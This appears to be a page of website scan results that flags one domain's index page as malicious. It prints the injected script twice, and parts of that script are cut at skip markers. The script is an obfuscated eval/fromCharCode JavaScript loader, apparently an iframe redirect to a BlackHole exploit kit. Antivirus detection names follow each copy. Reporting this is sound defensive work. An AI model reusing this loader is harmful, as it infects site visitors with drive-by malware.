... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/index.html | 200 OK Content-Length: 24660 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/binladen.pdf | 200 OK Content-Length: 92160 Content-Type: application/pdf | clean |
http://usamabinladenonline.com/test404page.js | 404 Not Found Content-Length: 331 Content-Type: text/html | clean |